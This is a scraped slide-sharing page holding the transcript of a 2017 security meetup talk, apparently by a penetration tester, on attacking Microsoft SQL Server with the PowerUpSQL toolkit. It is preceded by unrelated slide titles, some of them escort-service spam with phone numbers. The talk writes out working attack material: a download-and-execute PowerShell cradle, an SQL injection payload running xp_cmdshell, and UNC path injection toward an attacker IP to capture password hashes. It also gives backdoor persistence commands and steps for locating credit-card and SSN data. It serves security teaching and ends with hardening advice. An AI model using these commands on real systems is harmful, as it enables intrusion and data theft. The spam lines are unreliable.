WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptx
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen Frames
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 

2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

  • 1. Hacking SQL Server on Scale with PowerShell San Francisco March 2017 Meetup
  • 2. Speaker Information Name: Scott Sutherland Job: Network & Application Pentester @ NetSPI Twitter: @_nullbind Slides: http://slideshare.net/nullbind http://slideshare.net/netspi Blogs: https://blog.netspi.com/author/scott-sutherland/ Code: https://github.com/netspi/PowerUpSQL https://github.com/nullbind
  • 3. Presentation Overview ● Why SQL Server and PowerShell? ● PowerUpSQL Overview ● Finding & Accessing SQL Servers ● Privilege Escalation Scenarios o Domain user to SQL Server login o SQL Server Login to Sysadmin o Sysadmin to Windows Admin o Windows Admin to Sysadmin o Domain Escalation ● Post Exploitation Activities ● General Recommendations
  • 4. Why SQL Server? ● Used in most enterprise environments ● Supports local Windows and Domain authentication ● Integrates with lots of Windows applications ● Generally has trust relationships that other don’t
  • 5. Why PowerShell? ● Native to Windows ● Run commands in memory ● Run managed .net code ● Run unmanaged code ● Avoid detection by legacy Anti-virus ● Already flagged as "trusted" by most application whitelist solutions ● A medium used to write many open source Pentest toolkits
  • 7. PowerUpSQL Overview: Project Goals Project Goals (Get-Abilities)  ● Scalability via runspace threading ● Flexibility via pipeline support ● ps objects and data tables ● Portability o No SMO dependancies o .Net Framework libraries o PowerShell v.2 compliant (in theory) o Single file Functional Goals ● Discover SQL Servers from different attacker perspectives ● Inventory SQL Servers quickly ● Audit SQL Servers for common insecure configurations ● Escalate privileges quickly on SQL Servers ● Support authentication using SQL Login or Windows Credential
  • 8. PowerUpSQL Overview: Functions Primary Attack Functions ● Invoke-SQLDumpInfo ● Invoke-SQLAudit ● Invoke-SQLEscalatePriv ● Invoke-SQLOsCmd https://github.com/NetSPI/PowerUpSQL/wikiCurrently about 60 Functions
  • 9. PowerUpSQL Overview: Where can I get it? Github https://github.com/netspi/PowerUpSQL PowerShell Gallery https://www.powershellgallery.com/packages/PowerUpSQL/
  • 10. PowerUpSQL Overview: How do I install it? Github Import-Module PowerUpSQL.psd1 IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/P owerUpSQL.ps1") Execution policy work arounds https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/ PowerShell Gallery Install-Module -Name PowerUpSQL
  • 12. SQL Server Basics What is SQL Server? ● A database platform ● An application ● A set of Windows services ● Each instance has its own set of services
  • 13. SQL Server Basics: Account Types Account Types ● Windows Accounts o Used to login o Mapped to SQL Server login ● SQL Server Logins o Used to login o Mapped to database account ● Database Users o Used to access databases
  • 14. SQL Server Basics: Common Roles Important SQL Server Roles ● Sysadmin role ○ Database administrator account ○ Think of it as the “Administrators” Windows group, but in SQL Server ● Public role ○ Only provides CONNECT permission ○ Think of it as the “Everyone” Windows group, but in SQL Server
  • 16. Find SQL Servers: Techniques Attacker Perspective Attack Technique Unauthenticated ● List from file ● TCP port scan ● UDP port scan ● UDP broadcast ● Azure DNS dictionary attack (x.databases.windows.net) ● Azure DNS lookup via public resources Local User ● Services ● Registry entries Domain User ● Service Principal Names ● Azure Portal / PowerShell Modules
  • 17. Find SQL Servers: PowerUpSQL Attacker Perspective PowerUpSQL Function Unauthenticated Get-SQLInstanceFile Unauthenticated Get-SQLInstanceUDPScan Local User Get-SQLInstanceLocal Domain User Get-SQLInstanceDomain Blog: https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/
  • 19. Testing Login Access: Techniques What credentials can I use to log into discovered SQL Servers? Attacker Perspective Attack Technique Unauthenticated Dictionary attacks using common user names and passwords. Unauthenticated Default passwords based on the SQL Server instance names. Local Windows or ADS Domain Account Attempt to login using the current account.
  • 20. Testing Login Access: PowerUpSQL CMDs What PowerUpSQL functions can I use to test for successful logins? Attack Technique PowerUpSQL Function Dictionary Attack Invoke-SQLAuditWeakLoginPw Default Password Test Invoke-SQLAuditDefaultLoginPw Get-SQLServerLoginDefaultPw Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose Local Windows or ADS Domain Account Get-SQLConnectionTestThreaded
  • 21. Testing Login Access: PowerUpSQL CMDs
  • 22. Testing Login Access: Login CMD Examples Attacker Perspective Command Example Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 Alternative Domain User runas /noprofile /netonly /user:domainuser PowerShell.exe Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
  • 23. Testing Login Access: Reusing Result Lists Process Command Example Enumerate Accessible Servers $Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object {$_.Status –like “Accessible”} Get server information $Acessible | Get-SQLServerInfo -Verbose Get database list $Acessible | Get-SQLDatabase -Verbose Perform audit $Acessible | Invoke-SQLAudit -Verbose Do I have to rerun instance discovery every time I want to run a command? No.
  • 24. Testing Login Access: Domain User Access DEMO
  • 26. Escalating Privileges: Domain User Why can Domain Users login into so many SQL Servers? ● Admins give them access ● Privilege inheritance issue on domain systems = Public role access ● SQL Server Express is commonly vulnerable
  • 27. Escalating Privileges: Domain User Why can Domain Users login into so many SQL Servers? ● Admins give them access ● Privilege inheritance issue on domain systems = Public role access ● SQL Server Express is commonly vulnerable
  • 28. Escalating Privileges: Domain User Why can Domain Users login into so many SQL Servers? ● Admins give them access ● Privilege inheritance issue on domain systems = Public role access ● SQL Server Express is commonly vulnerable
  • 30. Escalating Privileges: Weak Passwords Didn’t we just cover this? Yes, but there’s more… Technique PowerUpSQL Function Dictionary Attack Invoke-SQLAuditWeakLoginPw Default Password Test Invoke-SQLAuditDefaultLoginPw Local Windows or ADS Domain Account Get-SQLConnectionTestThreaded
  • 31. Escalating Privileges: Weak Passwords …we can also enumerate SQL Server logins and Domain Accounts  Technique PowerUpSQL Function Blind Login Enumeration + Dictionary Attack = Super Cool! Invoke-SQLAuditWeakLoginPw • Enumerate all SQL Server logins with the Public role • Enumerate all domain accounts with the Public role
  • 32. Escalating Privileges: Weak Passwords Enumerating SQL Logins 1. Attempt to list all SQL Server logins and fail.
  • 33. Escalating Privileges: Weak Passwords Enumerating SQL Logins 1. Attempt to list all SQL Server logins and fail. 2. Get principal id for the sa account with “suser_id”
  • 34. Escalating Privileges: Weak Passwords Enumerating SQL Logins 1. Attempt to list all SQL Server logins and fail. 2. Get principal id for the sa account with “suser_id” 3. Use “suser_name” to get SQL logins using just principal ID
  • 35. Escalating Privileges: Weak Passwords Enumerating SQL Logins 1. Attempt to list all SQL Server logins and fail. 2. Get principal id for the sa account with “suser_id” 3. Use “suser_name” to get SQL logins using just principal ID 4. Increment number and repeat
  • 36. Escalating Privileges: Weak Passwords Enumerating SQL Logins 1. Attempt to list all SQL Server logins and fail. 2. Get principal id for the sa account with “suser_id” 3. Use “suser_name” to get SQL logins using just principal ID 4. Increment number and repeat select n [id], SUSER_NAME(n) [user_name] from ( select top 10000 row_number() over(order by t1.number) as N from master..spt_values t1 cross join master..spt_values t2 ) a where SUSER_NAME(n) is not null Code gifted from @mobileck Source: https://gist.github.com/ConstantineK/c6de5d398ec43bab1a29ef07e8c21ec7
  • 37. Escalating Privileges: Weak Passwords Enumerating Domain Users 1. Get the domain Domain of SQL Server
  • 38. Escalating Privileges: Weak Passwords Enumerating Domain Users 1. Get the domain 2. GID RID of default group Full RID of Domain Admins group
  • 39. Escalating Privileges: Weak Passwords Enumerating Domain Users 1. Get the domain 2. GID RID of default group 3. Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
  • 40. Escalating Privileges: Weak Passwords Enumerating Domain Users 1. Get the domain 2. GID RID of default group 3. Grab the first 48 Bytes of the full RID 4. Create new RID with by appending a hex number value and the SID 1. Start with number, 500 2. Convert to hex, F401 3. Pad with 0 to 8 bytes, F4010000 4. Concatenate the SID and the new RID SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
  • 41. Escalating Privileges: Weak Passwords Enumerating Domain Users 1. Get the domain 2. GID RID of default group 3. Grab the first 48 Bytes of the full RID 4. Create new RID with by appending a hex number value and the SID 5. Use “suser_name” function to get domain object name 1. Start with number, 500 2. Convert to hex, F401 3. Pad with 0 to 8 bytes, F4010000 4. Concatenate the SID and the new RID SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
  • 42. Escalating Privileges: Weak Passwords Enumerating Domain Users 1. Get the domain 2. GID RID of default group 3. Grab the first 48 Bytes of the full RID 4. Create new RID with by appending a hex number value and the SID 5. Use “suser_name” function to get domain object name 6. Increment and repeat 1. Start with number, 500 2. Convert to hex, F401 3. Pad with 0 to 8 bytes, F4010000 4. Concatenate the SID and the new RID SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
  • 44.
  • 45. Escalating Privileges: Impersonation 1. Impersonate Privilege • Server: EXECUTE AS LOGIN • Database: EXECUTE AS USER 2. Stored Procedure and Trigger Creation / Injection Issues • EXECUTE AS OWNER • Signed with cert login 3. Automatic Execution of Stored Procedures 4. Agent Jobs • User, Reader, and Operator roles 5. xp_cmdshell proxy acount 6. Create Databse Link to File or Server 7. Import / Install Custom Assemblies 8. Ad-Hoc Queries 9. Shared Service Accounts 10. Database Links 11. UNC Path Injection
  • 46. Escalating Privileges: Impersonation Impersonate Privilege • Can be used at server layer o EXECUTE AS LOGIN • Can be used at database layer o EXECUTE AS USER Pros • Execute queries/commands in another user context Cons • Commands and queries are not limited in any way • Requires database to be configured as trustworthy for OS command execution
  • 47. Escalating Privileges: Impersonation Impersonate Privilege • Can be used at server layer o EXECUTE AS LOGIN • Can be used at database layer o EXECUTE AS USER
  • 48. Escalating Privileges: Impersonation Impersonate Privilege • Can be used at server layer o EXECUTE AS LOGIN • Can be used at database layer o EXECUTE AS USER
  • 49. Escalating Privileges: Impersonation Stored Procedure and Trigger Creation / Injection Issues • EXECUTE AS OWNER can be used to execute a stored procedure as another login Pros • Can execute queries/commands in another user context • Limit commands and queries • Don’t have to grant IMPERSONATE Cons • No granular control over the database owner’s privileges • DB_OWNER role can EXECUTE AS OWNER of the DB, which is often a sysadmin • Requires database to be configured as trustworthy for OS command execution • Impersonation can be done via SQL injection under specific conditions • Impersonation can be done via command injection under specific conditions
  • 50. Escalating Privileges: Impersonation Stored Procedure and Trigger Creation / Injection Issues • EXECUTE AS OWNER can be used to execute a stored procedure as another login • DB_OWNER role can impersonate the actual database owner USE MyAppDb GO CREATE PROCEDURE sp_escalate_me WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'MyAppUser','sysadmin' GO
  • 51. Escalating Privileges: Impersonation Stored Procedure and Trigger Creation / Injection Issues • EXECUTE AS OWNER can be used to execute a stored procedure as another login • DB_OWNER role can impersonate the actual database owner USE MyAppDb GO CREATE PROCEDURE sp_escalate_me WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'MyAppUser','sysadmin' GO SYSADMIN is often the OWNER
  • 52. Escalating Privileges: Impersonation Stored Procedure and Trigger Creation / Injection Issues • Use signed Procedures o Create stored procedure o Create a database master key o Create a certificate o Create a login from the certificate o Configure login privileges o Sign stored procedure with certifiate o GRANT EXECUTE to User Pros • Can execute queries/commands in another user context • Limit commands and queries • Don’t have to grant IMPERSONATE • Granular control over permissions • Database does NOT have to be configured as trustworthy for OS command execution Cons • Impersonation can be done via SQL injection under specific conditions • Impersonation can be done via command injection under specific conditions
  • 53. Escalating Privileges: Impersonation SQL Injection Example CREATE PROCEDURE sp_sqli2 @DbName varchar(max) AS BEGIN Declare @query as varchar(max) SET @query = ‘ SELECT name FROM master..sysdatabases WHERE name like ''%'+ @DbName+'%'' OR name=''tempdb'''; EXECUTE(@query) END GO https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/
  • 54. Escalating Privileges: Impersonation SQL Injection Example CREATE PROCEDURE sp_sqli2 @DbName varchar(max) AS BEGIN Declare @query as varchar(max) SET @query = ‘ SELECT name FROM master..sysdatabases WHERE name like ''%'+ @DbName+'%'' OR name=''tempdb'''; EXECUTE(@query) END GO PURE EVIL https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/
  • 55. Escalating Privileges: Impersonation SQL Injection Example EXEC MASTER.dbo.sp_sqli2 'master'';EXEC master..xp_cmdshell ''whoami''--'; https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/
  • 57. Escalating Privileges: Impersonation Automatic Execution of Stored Procedure • Stored procedures ca be configured to execute when the SQL Server service restarts Pros • Marking a stored procedure to run when the SQL Server service restarts has many use cases • Only stored procedures in the master database can be marked for auto execution Cons • No granular control over what context the startup command is executed in • All stored procedures marked for auto execution are executed as ‘sa’, even if ‘sa’ is disabled • Any non sysadmin access to stored procedures can lead to execution as ‘sa’
  • 63. Escalating Privileges: SysAdmin to Service Account OS Command Execution = Service Account Impersonation Executing OS Commands: ● xp_cmdshell ● Custom Assemblies (.net) http://sekirkity.com/seeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution/ ● Custom Extended Stored Procedures (C++) ● Agent Jobs https://www.optiv.com/blog/mssql-agent-jobs-for-command-execution o ActiveX: Vbscript, Jscript, and Other o CmdExec o PowerShell o SSIS Package ● Registry Autoruns ● File Autoruns
  • 64. Escalating Privileges: SysAdmin to Service Account OS Command Execution = Service Account Impersonation You don’t need to know the password, crack a hash, or PTH Service Account Types ● Local User ● Local System ● Network Service ● Local managed service account ● Domain managed service account ● Domain User ● Domain Admin
  • 65. Escalating Privileges: SysAdmin to Service Account But wait, there’s more…RottenPotato @ DerbyCon 2016 • We can now escalation from service account to LocalSystem! • No patch that I’m aware of. • Authors: Chris Mallz (@vvalien1) & Steve Breen (@breenmachine) Blog https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege- escalation-from-service-accounts-to-system/ Code https://github.com/foxglovesec/RottenPotato
  • 66. Escalating Privileges: Invoke-SQLOSCmd Invoke-SQLOSCMD can be used for basic command execution. PS C:>$Accessible | Invoke-SQLOSCmd –Verbose –Command “whoami” –Threads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
  • 68. Escalating Privileges: Shared Service Accounts Why should I care about shared service accounts? 1. SysAdmins can execute OS commands 2. OS commands run as the SQL Server service account 3. Service accounts have sysadmin privileges by default 4. Companies often use a single domain account to run hundreds of SQL Servers 5. So if you get sysadmin on one server you have it on all of them! One account to rule them all!
  • 69. InternetDMZIntranet LRA HVA LVA ADS LVA Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Key HVA = High Value Application LVA = Low Value Application Leveraging Shared MS SQL Server Service Accounts
  • 70. InternetDMZIntranet LRA HVA LVA ADS LVA Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Key HVA = High Value Application LVA = Low Value Application Leveraging Shared MS SQL Server Service Accounts
  • 71. InternetDMZIntranet LRA HVA LVA ADS LVA Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Execute Local Command via xp_cmdshell 2 Key HVA = High Value Application LVA = Low Value Application Leveraging Shared MS SQL Server Service Accounts
  • 72. InternetDMZIntranet LRA HVA LVA ADS LVA Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Execute Local Command via xp_cmdshell 2 Access to HVA with shared domain service account Key HVA = High Value Application LVA = Low Value Application Execute commands and gather data from other database servers via osql 3 Leveraging Shared MS SQL Server Service Accounts
  • 74. Escalating Privileges: Crawling SQL Server Links What’s a SQL Server link? ● SQL Server links are basically persistent database connections for SQL Servers. Why should I care? ● Short answer = privilege escalation ● Public role can use links to execute queries on remote servers (impersonation) SELECT * FROM OpenQuery([SQLSERVER2],’SELECT @@Version’) ● Stored procedures can be executed (xp_cmdshell) ● Links can be crawled
  • 75. InternetDMZIntranet LRA HVA LVA ADS Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain EvilKey HVA = High Value Application LVA = Low Value Application Leveraging MS SQL Database links DB1 LVA
  • 76. InternetDMZIntranet LRA HVA LVA ADS Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Key HVA = High Value Application LVA = Low Value Application Leveraging MS SQL Database links DB1 LVA
  • 77. InternetDMZIntranet LRA HVA LVA ADS Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Key HVA = High Value Application LVA = Low Value Application Leveraging MS SQL Database links D B Link w ith LeastPrivileges DB1 LVA
  • 78. InternetDMZIntranet LRA HVA LVA ADS Ports 80 and 443 Ports 1433 and 1434 HVA PURE EVIL Captain Evil SQL Injection 1 Key HVA = High Value Application LVA = Low Value Application Leveraging MS SQL Database links D B Link w ith LeastPrivileges DB Link with SA account DB1 LVA Execute SQL queries and local commands on database servers via nested linked services 2
  • 79. Escalating Privileges: Crawling SQL Server Links Penetration Test Stats ● Database links exist (and can be crawled) in about 50% of environments we’ve seen ● The max number of hops we’ve seen is 12 ● The max number of servers crawled is 226
  • 80. Escalating Privileges: Crawling Server Links Old Script ● Released 2012 ● https://www.rapid7.com/db/modules/exploit/windows/mssql/mssql_linkcrawler New Functions ● Author: Antti Rantasaari ● https://blog.netspi.com/sql-server-link-crawling-powerupsql/
  • 81. Escalating Privileges: Crawling Server Links Function Description Get-SQLServerLink Get a list of SQL Server Link on the server. Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution. Examples Get-SQLServerLinkCrawl -verbose -instance "10.2.9.101SQLSERVER2008“ Get-SQLServerLinkCrawl -instance "10.2.9.101SQLSERVER2008" -Query “select * from master..sysdatabases” Get-SQLServerLinkCrawl -instance "10.2.9.101SQLSERVER2008" -Query “exec master..xp_cmdshell ‘whoami’”
  • 82. Escalating Privileges: Crawling Server Links DEMO
  • 86. Escalating Privileges: UNC Path Injection UNC Path Injection Summary ● UNC paths are used for accessing remote file servers like so 192.168.1.4file ● Almost all procedures that accept a file path in SQL Server, support UNC paths ● UNC paths can be used to force the SQL Server service account to authenticate to an attacker ● An attacker can then capture the NetNTLM password hash and crack or relay it ● Relay becomes pretty easy when you know which SQL Servers are using shared accounts
  • 87. Escalating Privileges: UNC Path Injection
  • 88. Escalating Privileges: UNC Path Injection The Issue • By DEFAULT, the PUBLIC role can execute at least two procedures that accept a file path xp_dirtree 'attackeripfile‘ xp_fileexists 'attackeripfile‘ The Solution • EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that) UNC Path Injection Cheat Sheet • https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e
  • 89. Escalating Privileges: UNC Path Injection Another Issue • The Public role can perform UNC path injection into the BACKUP and RESTORE commands: BACKUP LOG [TESTING] TO DISK = 'attackeripfile‘ RESTORE LOG [TESTING] FROM DISK = 'attackeripfile' Partial Solution • A patch was released for SQL Server versions 2012 through 2016 https://technet.microsoft.com/library/security/MS16-131 • There is no fix for SQL Server 2000 to 2008
  • 90. Escalating Privileges: UNC Path Injection So, in summary… The PUBLIC role can access the SQL Server service account NetNTLM password hash by default!!
  • 91. Escalating Privileges: UNC Path Injection But who really has PUBLIC role access? Oh yeah, a ton of domain users 
  • 93. Escalating Privileges: UNC Path Injection DEMO
  • 95. Escalating Privileges: OS Admin to SysAdmin Two things to know… 1. Different SQL Server versions can be abused in different ways 2. All SQL Server versions provide the service account with sysadmin privileges.
  • 96. Escalating Privileges: OS Admin to SysAdmin Approach 2000 2005 2008 2012 2014 2016 LSA Secrets x x x x x x Local Administrator x x LocalSystem x x x Process Migration x x x x x x Token Stealing x x x x x X Single User Mode ? x x x x x Below are some options for leveraging that knowledge...
  • 97. Escalating Privileges: OS Admin to SysAdmin Here are some tool options... Approach Common Tools Access as Local Administrator Management Studio, sqlcmd, and other native SQL client tools. Access as LocalSystem Psexec, accessibility options, debugger with native SQL client tools. Recover SQL Server service account password from LSA Secrets Mimikatz, Metasploit, lsadump. Inject shellcode or DLL into the SQL Server service process Metasploit, Empire, Python, Powershell, C, C++ (LoadLibrary,CreateRemoteThread, and similar functions) Steal Authentication Token From SQL Server service process Metasploit, Incognito, Invoke-TokenManipulation Single User Mode DBATools
  • 99. Post Exploitation: Overview Common Post Exploitation Activities 1. Establish Persistence • SQL Server Layer: startup procedures, agent jobs, triggers, modified code • OS Layer: Registry & file auto runs, tasks, services, etc. 2. Identify Sensitive Data • Target large databases • Locate transparently encrypted databases • Search columns based on keywords and sample data • Use regular expressions and the Luhn formula against data samples 3. Exfiltrate Sensitive Data • All standard methods: Copy database, TCP ports, UDP ports, DNS tunneling, ICMP tunneling, email, HTTP, shares, links, etc. (No exfil in PowerUpSQL yet)
  • 100. Post Exploitation: Persistence Task Command Example Registry Autorun Persistence Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command "EvilBoxEvilSandwich.exe" -Instance "SQLServer1STANDARDDEV2014" Debugger Backdoor Persistence Get-SQLPersistRegDebugger -Verbose -FileName utilman.exe -Command 'c:windowssystem32cmd.exe' -Instance "SQLServer1STANDARDDEV2014"
  • 102. Post Exploitation: Finding Sensitive Data Task Command Example Locate Encrypted Databases Get-SQLInstanceDomain -Verbose | Get-SQLDatabaseThreaded –Verbose –Threads 10 -NoDefaults | Where-Object {$_.is_encrypted –eq “TRUE”} Locate and Sample Sensitive Columns and Export to CSV Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded –Verbose –Threads 10 –Keyword “credit,ssn,password” –SampleSize 2 –ValidateCC –NoDefaults | Export-CSV –NoTypeInformation c:tempdatasample.csv
  • 103. Post Exploitation: Finding Sensitive Data DEMO
  • 104. Post Exploitation: Finding Sensitive Data DEMO
  • 106. General Recommendations 1. Enforce least privilege everywhere! 2. Disable dangerous default stored procedures. 3. Install security patches. 4. Audit and fix insecure configurations. 5. Use policy based management for standardizing configurations. 6. Enable auditing at the server and database levels, and monitor for potentially malicious activity.
  • 107. PowerUpSQL Overview: Thanks! Individual Third Party Code / Direct Contributors Boe Prox Runspace blogs Warren F. ( RamblingCookieMonster) Invoke-Parallel function Oyvind Kallstad Test-IsLuhnValid function Kevin Robertson Invoke-Inveigh Joe Bialek Invoke-TokenManipulation Antti Rantasaari, Eric Gruber, and Alexander Leary, @leoloobeek, and @ktaranov Contributions and QA Khai Tran Design advice NetSPI assessment team and dev team Design advice
  • 108. Speaker Information / Questions? Name: Scott Sutherland Job: Network & Application Pentester @ NetSPI Twitter: @_nullbind Slides: http://slideshare.net/nullbind http://slideshare.net/netspi Blogs: https://blog.netspi.com/author/scott-sutherland/ Code: https://github.com/netspi/PowerUpSQL https://github.com/nullbind

Editor's Notes

  1. More integrated than Oracle, db2, and mysql
  2. COMMON USE CASES phishing - clickonce, java applet, macro in office Sql injection download craddle
  3. Skip
  4. Skip
  5. Skip
  6. Just touch on alternative user.
  7. Skip
  8. Cornucopia of excessive privileges.
  9. Cornucopia of excessive privileges.
  10. Cornucopia of excessive privileges.
  11. Cornucopia of excessive privileges.
  12. Cornucopia of excessive privileges.
  13. Cornucopia of excessive privileges.
  14. Cornucopia of excessive privileges.
  15. Cornucopia of excessive privileges.
  16. Cornucopia of excessive privileges.
  17. Cornucopia of excessive privileges.
  18. Cornucopia of excessive privileges.
  19. Cornucopia of excessive privileges.
  20. Cornucopia of excessive privileges.
  21. Cornucopia of excessive privileges.
  22. Cornucopia of excessive privileges.
  23. Cornucopia of excessive privileges.
  24. Cornucopia of excessive privileges.
  25. Cornucopia of excessive privileges. You get sysadmins.
  26. Architecture overview.
  27. SQL injection.
  28. Scenario Database account with excessive privileges Shared service account Use xp_cmdshell to verify local command execution
  29. Use xp_cmdshell and OSQL to: Enumerate databases on the internal network Issues queries on remote HVA database server that is configured with the same service account. No alerts – using trusted account and non destructive native functionality No logs (or few logs) – No account creation or group modification No accountability!
  30. Another REALLY COOL lateral movement / privilege escalation technique.
  31. Architecture overview.
  32. Scenario No sysadmin role No excessive service account access No shared service account access Enumerate linked servers Find link to DB1 - Used to transmit marketing metrics to DB1
  33. Connect to DB1 (linked server) via OPENQUERY Has least privilege Enumerate linked servers Find link to HVA - Used to pull marketing metrics to DB1
  34. Connect to HVA (linked server) via NESTED OPENQUERY Configured with the SA account HVA could have access to other resources Nesting can continue Nested  Shared service account with excessive privs Linked database can be direct between high value and low value Other server not on the diagram Can be nested many times
  35. Neo4j Bloodhound pending
  36. Here’s the good one 
  37. Cornucopia of excessive privileges.
  38. Skip